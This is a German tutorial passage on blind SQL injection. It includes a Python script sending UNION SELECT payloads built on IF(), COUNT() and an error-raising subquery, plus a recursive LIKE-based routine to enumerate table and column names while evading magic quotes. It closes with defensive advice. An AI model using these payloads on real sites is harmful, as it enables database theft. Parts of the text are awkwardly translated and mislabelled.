Abzählung duch COUNT() und LIKE

Dieser Eintag startet hier -> [wiki]Blinde SQL - Injektion - Gefahren und Maßnahmen[/wiki]

== Mit Python eine ausgehende Bedingung testen ==

Quellcode

```
1. #!/usr/bin/python
2. import httplib,urllib
3. def Inject (sql) :
4. h = httplib.HTTP('localhost:80')
5. h.putrequest("GET", "/?id=0% %s" % urllib.quote(sql))
6. h.putheader('Host',"localhost")
7. h.putheader("Content-type",'application/x-www-form-urlencoded')
8. h.putheader("User-Agent","Mozilla/5.0 (Windows; U; Windows NT 5.1 fr; rv;1.8.1.12) Gecko/20080201
   Firefox/2.0.0.12")
9. h.endheaders()
10. reponse, msg, entetes = h.getreply()
11. resp = h.getfile().read()
12. print resp
13. print 'first injection (COUNT(*)<2):'
14. Inject(" UNION SELECT IF(COUNT(*)<2,0,(SELECT 0 FROM information_schema.TABLES)),0 FROM users #")
15. print 'second injection (COUNT(*)<1):'
16. Inject(" UNION SELECT IF(COUNT(*)<1,0,(SELECT 0 FROM information_schema.TABLES)),0 FROM users #")
17. Durch Ausführung des Skriptes, erhält man ein weiteres Skript:
18. [XTERM]
19. $ python demo.py
20. first injection (COUNT(*)<2): Goto Member-Bereich
21. second injection (COUNT(*)<1): <br />
22. <b>WARNING</b>: mysql_query() [<a href='http://www.mysql.com/doc'> http://www.mysql.com/doc</a>]:
   Subquery returns more than 1 row in
23. <b>index.php</b> on line <b>13</b><br />
24. [/XTERM]
```

Alles anzeigen

== Appell an COUNT() ==

COUNT() und LIKE ermöglichen eine Abzählung, genau das hilft uns weiter, weil der Appell an COUNT(), unabhängig von den zurück gesendeten Eintagungen der SELECT – Abfrage. Der Appell an LIKE verschafft uns mehr Handlungsfreiraum, mit Rücksichtnahme darauf, welches der Operator (Jokerzeichen) ermöglicht. Darum gibt es nun mehrere Möglichkeiten. Wenn man die Injection verwendet, könnte man versuchen die Anzahl an Tabellen zu bestimmen, dessen Namen mit a ('a%') anfangen. Im Grunde wollen wir versuchen den Namen der Tabelle intelligent anzugreifen, denn wir wollen zu einem bestimmten Motiv in LIKE gelangen, welches nur eine einzelne Eintragung zurücksendet. Nach der Identifikation des Motivs, können wir das auf „IF()“ gestützte Prinzip der Diskriminanz anwenden. Dazu müssen wir eine Klausel angeben, namens ? WHERE champ.LIKE motif Dank „IF()“ und der Fehler verursachenden Nebenabfrage, sind wir nun dazu imstande zu erkennen, ob ein Wert eine bestimmte Bedingung prüft. Nun können wir einen Angriff durch Dichotomie auf den Wert des Zielfeldes, also auf den Namen der Tabelle ausführen. Wir müssen, wie schon vorher, die Kette a% mit Hilfe des Operators CHAR() zu kodieren, um deren magic quotes zu umgehen. Dazu benutzen wir einen rekursiven Suchalgorithmus, der am leichtesten mit Python zu erstellen ist. Dieser nutzt die empfindliche Seite aus, um den Namen der Tabelle und deren Felder zu erlangen. Die Suchroutine ist dem, was man hier im Hauptalgorithmus sehen kann, nachempfunden. == Der Hauptalgorithmus ==

Quellcode

```
1. Function SearchTable()(motif, nb) {
2. sub = 0
3. for each character of "abcd...9" perform {
```

4. nb_tables = GetNbTables(motiv+car+'%')
5. If nb_tables = 1 then view(motif) sub = sub + 1
6. or else SearchTable(motif+car, nb_tables)
7. If sub=nb then returns nb
8. }
9. returns nb
10. }

== Das Prinzip ==
Das Prinzip dieser Routine ist, dass ein Motiv auf dynamischer Weise erstellt wird, mit dem man die Tabellenanzahl, die dem MOTIV entspricht, erhält. Man muss allerdings nach und nach ein vom Joker% gefolgtes Zeichen an das Motivende einfügen und so lange warten, bis nur noch eine Tabelle dem Motiv entspricht. Um sich zu gehen, nur einen Eintrag zu wählen, muss man in der Abfrage WHERE table _ nameLIKE`motif' angeben. Daraus Resultiert, dass „IF()“ nur für diese eine Eintragung gilt. GetNbTables() gewinnt die Anzahl der Tabellen, welche dem Motiv eintsprechen, zurück. Das Affcher() - Verfahren, gewinnt den ganzen Tabellennamen durch Dichotomie wieder und zeigt diese auf unserem Bildschirm. Damit wir hier nicht weiter ausschweifen, lassen wir die detaillierte Ansicht des Algorithmus weg. Schneller hingegen ist der Suchalgorithmus, da er die Eigenschaften von LIKE ausnutzt, um möglichst den der vorhandenen Tabelle schrittweise zu finden. Das wäre bei uns, die Tabellen information _ schema.COLUMNS, sowie bei der Deduktion enthaltene Werte der Eintragung. Hier wird nun eine Implementierung dieser Technik bei der Entdeckung der Tabellen und Tabellenfelder mit Hilfe von einem Pythonskript vorgeschlagen. Jetzt erhält man die Struktur der Datenbank

== Datenbank ==
Brainfuck-Quellcode

1. + users
2. - id
3. - password
4. - username
5. + USER_PRIVILEGES
6. - GRANTEE
7. - IS_GRANTABLE
8. - PRIVILEGE_TYPE
9. - TABLE_CATALOG
10. usw. .....

Man kann nun feststellen, das die Tabelle, die auf den ersten Blick für einen Angreife unbekannt bleibt, binnen von Minuten mit den Namen ihrer Felder abgeglichen wurde.

== Das Resultat ==
Wir halten fest**,** dass die Angriffstechnik mittels Brute – Force der Inhalte der Felder, welche auf COUNT(), IF() und LIKE basiert ist, wirkungsvoller ist als der timing – Angriff. Die Technik, bei der ein SQL – Fehler hervorgerufen wird ist schon alt, doch diese Anwendung ist für einen solchen Angriff eher untypisch. Die Nutzung von blinden SQL -Injektionen ermöglicht, egal welche Daten in einer Datenbank gespeichert werden darzustellen. Auch Tabellennamen und deren Felder können erlangt werden, selbst dann, wenn die magic quotes aktiviert sind. Prüfungen seines Codes und gesicherte Weiterentwicklung, wären zwei Möglichkeiten um diese Lücken zu schließen. Bei dem vorhanden PHP -Skript, ist es genug zu prüfen, ob „id“ = ganze Zahl ist. Dies trägt schon dazu bei, den beschriebenen Angriff zu verhindern. Leider treten diese Lücken auf Websites noch zu oft auf, da die Filterung der ganzen Parameter nicht immer durch alle Seiten geht. Die Anwendung einer gesicherten Weiterentwicklung und der internen Überprüfung, verhindern weitest gehend diese genannten Lücken. Interne Frameworks zur Parameterbehandlung, ist generell eine einfache und sehr wirkungsvolle Lösung. Dadurch wird die Filterung in den Mittelpunkt gestellt und von Außen hinein gelangende Daten bereinigt.